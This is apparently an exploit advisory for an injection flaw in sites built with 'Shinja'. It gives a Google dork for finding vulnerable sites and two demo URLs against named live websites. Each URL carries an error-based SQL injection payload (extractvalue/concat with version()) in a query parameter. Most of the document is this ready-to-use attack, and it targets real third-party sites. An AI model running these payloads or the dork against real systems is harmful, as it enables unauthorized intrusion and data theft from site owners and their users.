*********************************************************
#Exploit Title: Shinja Xpath Injection Vulnerability
#Date: 2020-12-27
#Exploit Author: Behrouz Mansoori
#Google Dork: "Made with ♥ by Shinja"
#Category:webapps
#Tested On: windows 10, Firefox
### Demo :
https://www.clickusindia.com/product-view.php?mer_id=299&&pro_id=8%27%20and%20extractvalue(rand(),concat(0x7e,version()))--+
http://bambooofindia.com/shop.php?caturl=mat%27%20and%20extractvalue(rand(),concat(0x7e,version()))--+
*********************************************************
#Discovered by: Behrouz mansoori
#Instagram: Behrouz_mansoori
#Email: mr.mansoori@yahoo.com
*********************************************************